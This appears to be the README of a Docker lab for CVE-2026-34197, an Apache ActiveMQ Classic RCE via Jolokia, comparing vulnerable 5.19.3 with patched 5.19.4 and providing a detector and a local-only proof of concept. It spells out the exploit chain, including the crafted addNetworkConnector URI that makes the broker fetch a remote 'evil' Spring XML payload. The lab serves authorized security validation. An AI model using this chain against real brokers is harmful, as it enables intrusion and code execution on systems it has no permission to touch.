
Docker lab demonstrating CVE-2026-34197, an Apache ActiveMQ Classic RCE via Jolokia. Includes a safe detector and a local-only PoC with fixed command, comparing vulnerable and patched versions.
| Service | Version | Purpose | URL |
|---|
vuln | 5.19.3 | Vulnerable target | http://127.0.0.1:8081 |
patched | 5.19.4 | Patched comparison target | http://127.0.0.1:8082 |
The repository contains two proof scripts:
| Script | Purpose | Safety model |
|---|---|---|
poc/detect.py | Authorized detector | HTTP-only; does not exploit |
poc/poc.py | Local-only RCE-path proof | Fixed command only: id; whoami; sleep 5 |
Execution evidence is verified separately by the operator using process observation tools such as strace.
CVE-2026-34197 affects Apache ActiveMQ Classic versions where an authenticated user can use the Jolokia API to invoke broker management operations and cause the broker JVM to load attacker-controlled Spring XML through a crafted brokerConfig=xbean:http://... URI.
The vulnerable flow demonstrated in this lab is:
Jolokia /api/jolokia/
-> Broker MBean operation
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> remote Spring XML fetch
-> ProcessBuilder bean initialization
-> fixed local proof command
The patched service blocks this path before the XML is fetched and returns an error similar to:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml runs the vulnerable and patched ActiveMQ services.vuln/Dockerfile builds Apache ActiveMQ Classic 5.19.3.patched/Dockerfile builds Apache ActiveMQ Classic 5.19.4.poc/detect.py checks Jolokia exposure, ActiveMQ version, and Broker MBean visibility.poc/poc.py triggers the local-only RCE path using a fixed benign command.images/strace.png contains local process-observation evidence from the vulnerable service..gitignore excludes local artifacts, Python cache files, virtual environments, logs, and secrets.This repository is intended for local lab use and authorized security validation only.
The PoC is deliberately constrained:
id; whoami; sleep 5.strace.Allowed local targets for poc.py:
127.0.0.1
localhost
::1
Do not use this repository against systems you do not own or do not have explicit permission to test.
docker compose down -v
docker compose build
docker compose up -d
Check service status:
docker compose ps
Expected services:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
Check the vulnerable service:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
Check the patched service:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
Expected versions:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py is the safe default script. It does not exploit the target.
It checks:
/api/jolokia/version is accessible;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
Expected result:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
The detector marks a target as LIKELY_VULNERABLE when:
Jolokia is accessible
+
ActiveMQ version is in an affected range
Affected ranges used by this lab:
5.x < 5.19.4
6.x < 6.2.3
Broker MBean visibility is used as confidence evidence because the exploit path relies on broker management operations.
The detector does not claim CONFIRMED_RCE.
poc/poc.py demonstrates the RCE path in the local Docker lab.
It starts a temporary HTTP server on the host and serves a Spring XML payload at a per-run path:
/evil-<nonce>.xml
It then invokes the ActiveMQ Broker MBean through Jolokia:
addNetworkConnector(java.lang.String)
with a crafted discovery URI:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
The vulnerable broker fetches this XML. The patched broker blocks the vm:// transport scheme before fetching XML.
After a vulnerable run, the created NetworkConnector may retry fetching the old XML path. The script uses a per-run nonce and tracks matches_current_run to avoid false positives.
A hit is only counted as the current run if it matches:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Expected output:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
This confirms that ActiveMQ 5.19.3 can be made to fetch attacker-controlled Spring XML through the Jolokia-managed broker path.
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
Expected output:
VM scheme is not allowed
[-] No XML fetch observed for this run.
If hits from an older vulnerable run appear, they should show:
"matches_current_run": false
Those are not counted as patched-service success.
The PoC script does not collect command output. To confirm command execution, observe process creation inside the vulnerable container.
Enter the vulnerable container as root:
docker exec -it --user root cve-2026-34197-vuln bash
Find the Java process:
pgrep -af java
Attach strace to the Java PID:
strace -f -e execve -p <JAVA_PID>
In another terminal, run the PoC against the vulnerable service:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
Expected strace evidence:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
This is the OS-level evidence that the fixed proof command was executed by the broker JVM.

The PoC attempts to remove the default NetworkConnector name NC before triggering. This keeps repeated lab runs predictable.
Manual cleanup:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
Or restart the lab:
docker compose restart vuln patched
| Test | Vulnerable 5.19.3 | Patched 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Jolokia access | Accessible with auth | Accessible with auth |
| Broker MBean | Visible | Visible |
poc.py XML fetch | Yes | No |
| Patched block signature | N/A | VM scheme is not allowed |
| strace command evidence | /bin/sh -c 'id; whoami; sleep 5' | Not expected |